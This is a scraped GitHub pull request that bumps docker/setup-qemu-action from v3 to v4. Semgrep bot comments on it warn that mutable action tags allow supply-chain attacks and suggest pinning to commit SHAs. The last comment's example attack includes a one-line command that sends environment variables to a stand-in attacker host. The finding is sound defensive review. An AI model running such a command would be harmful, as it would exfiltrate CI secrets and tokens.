-
Notifications
You must be signed in to change notification settings - Fork 12
chore(deps): bump docker/setup-qemu-action from 3 to 4 #121
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
|
|
@@ -52,7 +52,7 @@ jobs: | |||||
| node-version: ${{ matrix.node }} | ||||||
|
|
||||||
| - name: Set up QEMU | ||||||
| uses: docker/setup-qemu-action@v3 | ||||||
| uses: docker/setup-qemu-action@v4 | ||||||
|
|
||||||
| - name: Set up Docker Buildx | ||||||
| uses: docker/setup-buildx-action@v3 | ||||||
|
|
@@ -92,7 +92,7 @@ jobs: | |||||
| node-version: ${{ matrix.node }} | ||||||
|
|
||||||
| - name: Set up QEMU | ||||||
| uses: docker/setup-qemu-action@v3 | ||||||
| uses: docker/setup-qemu-action@v4 | ||||||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Semgrep identified an issue in your code:
More details about this
A plausible attack looks like this:
Because the reference is mutable, the behavior of this CI job can be silently changed upstream with no diff in this repository. To resolve this comment: ✨ Commit fix suggestion
Suggested change
View step-by-step instructions
💬 Ignore this findingReply with Semgrep commands to ignore this finding.
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag. 🛟 Help? Slack #semgrep-help or go/semgrep-help. Resolution Options:
You can view more details about this finding in the Semgrep AppSec Platform. |
||||||
|
|
||||||
| - name: Set up Docker Buildx | ||||||
| uses: docker/setup-buildx-action@v3 | ||||||
|
|
||||||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -66,7 +66,7 @@ jobs: | |
| echo "version=$(node --print 'process.version.slice(1)')" >> "$GITHUB_OUTPUT" | ||
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Semgrep identified an issue in your code:
More details about this
A plausible attack looks like this:
To resolve this comment: ✨ Commit fix suggestion
💬 Ignore this findingReply with Semgrep commands to ignore this finding.
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag. 🛟 Help? Slack #semgrep-help or go/semgrep-help. Resolution Options:
You can view more details about this finding in the Semgrep AppSec Platform. |
||
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
|
|
@@ -107,7 +107,7 @@ jobs: | |
| echo "version=$(node --print 'process.version.slice(1)')" >> "$GITHUB_OUTPUT" | ||
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Semgrep identified an issue in your code:
More details about this
A plausible attack looks like this:
To resolve this comment: ✨ Commit fix suggestion
💬 Ignore this findingReply with Semgrep commands to ignore this finding.
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag. 🛟 Help? Slack #semgrep-help or go/semgrep-help. Resolution Options:
You can view more details about this finding in the Semgrep AppSec Platform. |
||
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
The
Set up QEMUstep usesdocker/setup-qemu-action@v4, a mutable tag that can be silently repointed to malicious code and then run in this workflow.More details about this
docker/setup-qemu-action@v4in the Set up QEMU step is pinned to the mutablev4tag, not a specific commit. If the owner repointsv4to a different commit, this job will automatically run that new code onubuntu-latestbefore yourdocker buildxcommands, with access to the job’s workspace and any credentials available to the workflow.A plausible attack looks like this:
docker/setup-qemu-actionrepository or a maintainer account.v4tag to a malicious commit.container_tests_glibcruns,uses: docker/setup-qemu-action@v4pulls and executes the attacker’s code in the Set up QEMU step.actions/checkout@v6, inspect environment variables and tokens exposed to the job, and tamper with later steps like Set up Docker Buildx or thedocker buildx buildcommand.env | curl -X POST https://attacker.example/leak --data-binary @-or modify build inputs so the uploadedprebuilds/artifacts contain attacker-controlled content.Because the reference is a tag, the workflow can start running different code later without any change in this repository.
To resolve this comment:
✨ Commit fix suggestion
usesline for QEMU setup.uses: docker/setup-qemu-action@<full-40-char-commit-sha> # v4.v4release you intend to trust, and use that commit instead of the tag. Pinning to a commit prevents the action owner from silently moving the tag to different code later.💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.